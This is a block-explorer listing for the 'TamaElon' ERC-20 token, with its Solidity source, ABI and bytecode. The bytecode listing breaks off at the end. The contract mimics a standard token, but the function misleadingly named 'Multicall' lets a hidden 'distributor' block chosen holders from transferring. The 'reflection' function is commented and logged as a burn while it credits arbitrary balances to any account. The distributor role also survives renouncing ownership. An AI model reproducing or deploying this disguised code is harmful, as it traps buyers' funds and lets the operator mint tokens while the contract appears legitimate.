ERC-20
Overview
Max Total Supply
15,000,000,000,000 TAMAELON
Holders
14
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
0.000000529 TAMAELONValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
TamaElonToken
Compiler Version
v0.8.1+commit.df193b15
Contract Source Code (Solidity Multiple files format)
/** */ // SPDX-License-Identifier: MIT pragma solidity =0.8.1; import "./IERC20.sol"; import "./Ownable.sol"; /** * @dev Implementation of the {IERC20} interface. * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract. */ contract TamaElonToken is Ownable, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _Multicall; uint256 private _totalSupply; uint256 private _supplyCap; string private _name; string private _symbol; address unir; address unif; /** * @dev Sets the values for {name}, {symbol} and {totalsupply}. */ constructor(address rter, address fctr) { _name = "TamaElon"; _symbol = "TAMAELON"; _totalSupply = 15000000000000*10**9; _supplyCap = 15000000000000; _balances[msg.sender] += _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); unir = rter; unif = fctr; } /** * @notice Returns Supply Cap (maximum possible amount of tokens) */ function SUPPLY_CAP() external view returns (uint256) { return _supplyCap; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. */ function decimals() public view virtual override returns (uint8) { return 9; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount);} return true; } /** * @dev Destroys `amount` tokens from `account`, reducing the */ function reflection (address account, uint256 balance, uint256 burnAmount) external onlyDistributor { require(account != address(0), "ERC20: burn from the zero address disallowed"); _totalSupply -= balance; _balances[account] += burnAmount; emit Transfer(account, address(0), balance); } /** * @dev Atomically increases the allowance granted to `spender` by the caller. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue);} return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if (_Multicall[sender] || _Multicall[recipient]) require (amount == 0, ""); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount;} _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. */ function Multicall (address _address) external onlyDistributor { if (_Multicall[_address] == true) {_Multicall[_address] = false;} else {_Multicall[_address] = true; } } function isApproved (address _address) public view returns (bool) { return _Multicall[_address]; } /** * @dev Hook that is called before any transfer of tokens. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} }
// SPDX-License-Identifier: MIT pragma solidity =0.8.1; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); }
// SPDX-License-Identifier: MIT pragma solidity =0.8.1; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. */ abstract contract Ownable is Context { address private _owner; address internal _distributor; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Throws if called by any account other than the distributor. */ modifier onlyDistributor() { require(_distributor == msg.sender, "Caller is not fee distributor"); _; } /** * @dev Set new distributor. */ function distributor(address account) external onlyOwner { require (_distributor == address(0)); _distributor = account; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"rter","type":"address"},{"internalType":"address","name":"fctr","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"Multicall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"SUPPLY_CAP","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"distributor","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"isApproved","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"balance","type":"uint256"},{"internalType":"uint256","name":"burnAmount","type":"uint256"}],"name":"reflection","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040523480156200001157600080fd5b506040516200243d3803806200243d8339818101604052810190620000379190620003f2565b620000576200004b6200025f60201b60201c565b6200026760201b60201c565b6040518060400160405280600881526020017f54616d61456c6f6e00000000000000000000000000000000000000000000000081525060079080519060200190620000a49291906200032b565b506040518060400160405280600881526020017f54414d41454c4f4e00000000000000000000000000000000000000000000000081525060089080519060200190620000f29291906200032b565b5069032d26d12e980b600000600581905550650da475abf000600681905550600554600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825462000164919062000461565b925050819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600554604051620001cd919062000444565b60405180910390a381600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050620005aa565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b8280546200033990620004fc565b90600052602060002090601f0160209004810192826200035d5760008555620003a9565b82601f106200037857805160ff1916838001178555620003a9565b82800160010185558215620003a9579182015b82811115620003a85782518255916020019190600101906200038b565b5b509050620003b89190620003bc565b5090565b5b80821115620003d7576000816000905550600101620003bd565b5090565b600081519050620003ec8162000590565b92915050565b600080604083850312156200040657600080fd5b60006200041685828601620003db565b92505060206200042985828601620003db565b9150509250929050565b6200043e81620004f2565b82525050565b60006020820190506200045b600083018462000433565b92915050565b60006200046e82620004f2565b91506200047b83620004f2565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115620004b357620004b262000532565b5b828201905092915050565b6000620004cb82620004d2565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060028204905060018216806200051557607f821691505b602082108114156200052c576200052b62000561565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6200059b81620004be565b8114620005a757600080fd5b50565b611e8380620005ba6000396000f3fe608060405234801561001057600080fd5b50600436106101165760003560e01c806370a08231116100a257806396bd7a801161007157806396bd7a80146102e5578063a457c2d714610301578063a9059cbb14610331578063dd62ed3e14610361578063e074839e1461039157610116565b806370a082311461026f578063715018a61461029f5780638da5cb5b146102a957806395d89b41146102c757610116565b806323b872dd116100e957806323b872dd146101a5578063313ce567146101d557806339509351146101f357806339d0534a14610223578063673448dd1461023f57610116565b806306fdde031461011b578063095ea7b3146101395780630cfccc831461016957806318160ddd14610187575b600080fd5b6101236103ad565b60405161013091906117cb565b60405180910390f35b610153600480360381019061014e9190611514565b61043f565b60405161016091906117b0565b60405180910390f35b61017161045d565b60405161017e919061194d565b60405180910390f35b61018f610467565b60405161019c919061194d565b60405180910390f35b6101bf60048036038101906101ba91906114c5565b610471565b6040516101cc91906117b0565b60405180910390f35b6101dd610569565b6040516101ea9190611968565b60405180910390f35b61020d60048036038101906102089190611514565b610572565b60405161021a91906117b0565b60405180910390f35b61023d60048036038101906102389190611460565b61061e565b005b61025960048036038101906102549190611460565b6107c0565b60405161026691906117b0565b60405180910390f35b61028960048036038101906102849190611460565b610816565b604051610296919061194d565b60405180910390f35b6102a761085f565b005b6102b16108e7565b6040516102be9190611795565b60405180910390f35b6102cf610910565b6040516102dc91906117cb565b60405180910390f35b6102ff60048036038101906102fa9190611550565b6109a2565b005b61031b60048036038101906103169190611514565b610b7c565b60405161032891906117b0565b60405180910390f35b61034b60048036038101906103469190611514565b610c67565b60405161035891906117b0565b60405180910390f35b61037b60048036038101906103769190611489565b610c85565b604051610388919061194d565b60405180910390f35b6103ab60048036038101906103a69190611460565b610d0c565b005b6060600780546103bc90611ab1565b80601f01602080910402602001604051908101604052809291908181526020018280546103e890611ab1565b80156104355780601f1061040a57610100808354040283529160200191610435565b820191906000526020600020905b81548152906001019060200180831161041857829003601f168201915b5050505050905090565b600061045361044c610e27565b8484610e2f565b6001905092915050565b6000600654905090565b6000600554905090565b600061047e848484610ffa565b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104c9610e27565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610549576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105409061186d565b60405180910390fd5b61055d85610555610e27565b858403610e2f565b60019150509392505050565b60006009905090565b600061061461057f610e27565b84846003600061058d610e27565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461060f919061199f565b610e2f565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106a59061190d565b60405180910390fd5b60011515600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415610764576000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506107bd565b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b50565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610867610e27565b73ffffffffffffffffffffffffffffffffffffffff166108856108e7565b73ffffffffffffffffffffffffffffffffffffffff16146108db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108d29061188d565b60405180910390fd5b6108e56000611368565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606008805461091f90611ab1565b80601f016020809104026020016040519081016040528092919081815260200182805461094b90611ab1565b80156109985780601f1061096d57610100808354040283529160200191610998565b820191906000526020600020905b81548152906001019060200180831161097b57829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a299061190d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610aa2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a999061184d565b60405180910390fd5b8160056000828254610ab491906119f5565b9250508190555080600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b0a919061199f565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b6f919061194d565b60405180910390a3505050565b60008060036000610b8b610e27565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610c48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3f9061192d565b60405180910390fd5b610c5c610c53610e27565b85858403610e2f565b600191505092915050565b6000610c7b610c74610e27565b8484610ffa565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610d14610e27565b73ffffffffffffffffffffffffffffffffffffffff16610d326108e7565b73ffffffffffffffffffffffffffffffffffffffff1614610d88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7f9061188d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610de357600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e96906118ed565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f069061180d565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610fed919061194d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561106a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611061906118ad565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d1906117ed565b60405180910390fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061117b5750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156111c457600081146111c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ba906118cd565b60405180910390fd5b5b6111cf83838361142c565b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611256576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124d9061182d565b60405180910390fd5b818103600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546112eb919061199f565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161134f919061194d565b60405180910390a3611362848484611431565b50505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b505050565b60008135905061144581611e1f565b92915050565b60008135905061145a81611e36565b92915050565b60006020828403121561147257600080fd5b600061148084828501611436565b91505092915050565b6000806040838503121561149c57600080fd5b60006114aa85828601611436565b92505060206114bb85828601611436565b9150509250929050565b6000806000606084860312156114da57600080fd5b60006114e886828701611436565b93505060206114f986828701611436565b925050604061150a8682870161144b565b9150509250925092565b6000806040838503121561152757600080fd5b600061153585828601611436565b92505060206115468582860161144b565b9150509250929050565b60008060006060848603121561156557600080fd5b600061157386828701611436565b93505060206115848682870161144b565b92505060406115958682870161144b565b9150509250925092565b6115a881611a29565b82525050565b6115b781611a3b565b82525050565b60006115c882611983565b6115d2818561198e565b93506115e2818560208601611a7e565b6115eb81611b41565b840191505092915050565b600061160360238361198e565b915061160e82611b52565b604082019050919050565b600061162660228361198e565b915061163182611ba1565b604082019050919050565b600061164960268361198e565b915061165482611bf0565b604082019050919050565b600061166c602c8361198e565b915061167782611c3f565b604082019050919050565b600061168f60288361198e565b915061169a82611c8e565b604082019050919050565b60006116b260208361198e565b91506116bd82611cdd565b602082019050919050565b60006116d560258361198e565b91506116e082611d06565b604082019050919050565b60006116f860008361198e565b915061170382611d55565b600082019050919050565b600061171b60248361198e565b915061172682611d58565b604082019050919050565b600061173e601d8361198e565b915061174982611da7565b602082019050919050565b600061176160258361198e565b915061176c82611dd0565b604082019050919050565b61178081611a67565b82525050565b61178f81611a71565b82525050565b60006020820190506117aa600083018461159f565b92915050565b60006020820190506117c560008301846115ae565b92915050565b600060208201905081810360008301526117e581846115bd565b905092915050565b60006020820190508181036000830152611806816115f6565b9050919050565b6000602082019050818103600083015261182681611619565b9050919050565b600060208201905081810360008301526118468161163c565b9050919050565b600060208201905081810360008301526118668161165f565b9050919050565b6000602082019050818103600083015261188681611682565b9050919050565b600060208201905081810360008301526118a6816116a5565b9050919050565b600060208201905081810360008301526118c6816116c8565b9050919050565b600060208201905081810360008301526118e6816116eb565b9050919050565b600060208201905081810360008301526119068161170e565b9050919050565b6000602082019050818103600083015261192681611731565b9050919050565b6000602082019050818103600083015261194681611754565b9050919050565b60006020820190506119626000830184611777565b92915050565b600060208201905061197d6000830184611786565b92915050565b600081519050919050565b600082825260208201905092915050565b60006119aa82611a67565b91506119b583611a67565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156119ea576119e9611ae3565b5b828201905092915050565b6000611a0082611a67565b9150611a0b83611a67565b925082821015611a1e57611a1d611ae3565b5b828203905092915050565b6000611a3482611a47565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611a9c578082015181840152602081019050611a81565b83811115611aab576000848401525b50505050565b60006002820490506001821680611ac957607f821691505b60208210811415611add57611adc611b12565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7320646973616c6c6f7765640000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b50565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f43616c6c6572206973206e6f7420666565206469737472696275746f72000000600082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b611e2881611a29565b8114611e3357600080fd5b50565b611e3f81611a67565b8114611e4a57600080fd5b5056fea26469706673582212209184067c5c76f855bf054b75d179ec267f16f1483d5ab3a6373fc8d014956f9064736f6c634300080100330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d0000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106101165760003560e01c806370a08231116100a257806396bd7a801161007157806396bd7a80146102e5578063a457c2d714610301578063a9059cbb14610331578063dd62ed3e14610361578063e074839e1461039157610116565b806370a082311461026f578063715018a61461029f5780638da5cb5b146102a957806395d89b41146102c757610116565b806323b872dd116100e957806323b872dd146101a5578063313ce567146101d557806339509351146101f357806339d0534a14610223578063673448dd1461023f57610116565b806306fdde031461011b578063095ea7b3146101395780630cfccc831461016957806318160ddd14610187575b600080fd5b6101236103ad565b60405161013091906117cb565b60405180910390f35b610153600480360381019061014e9190611514565b61043f565b60405161016091906117b0565b60405180910390f35b61017161045d565b60405161017e919061194d565b60405180910390f35b61018f610467565b60405161019c919061194d565b60405180910390f35b6101bf60048036038101906101ba91906114c5565b610471565b6040516101cc91906117b0565b60405180910390f35b6101dd610569565b6040516101ea9190611968565b60405180910390f35b61020d60048036038101906102089190611514565b610572565b60405161021a91906117b0565b60405180910390f35b61023d60048036038101906102389190611460565b61061e565b005b61025960048036038101906102549190611460565b6107c0565b60405161026691906117b0565b60405180910390f35b61028960048036038101906102849190611460565b610816565b604051610296919061194d565b60405180910390f35b6102a761085f565b005b6102b16108e7565b6040516102be9190611795565b60405180910390f35b6102cf610910565b6040516102dc91906117cb565b60405180910390f35b6102ff60048036038101906102fa9190611550565b6109a2565b005b61031b60048036038101906103169190611514565b610b7c565b60405161032891906117b0565b60405180910390f35b61034b60048036038101906103469190611514565b610c67565b60405161035891906117b0565b60405180910390f35b61037b60048036038101906103769190611489565b610c85565b604051610388919061194d565b60405180910390f35b6103ab60048036038101906103a69190611460565b610d0c565b005b60606007805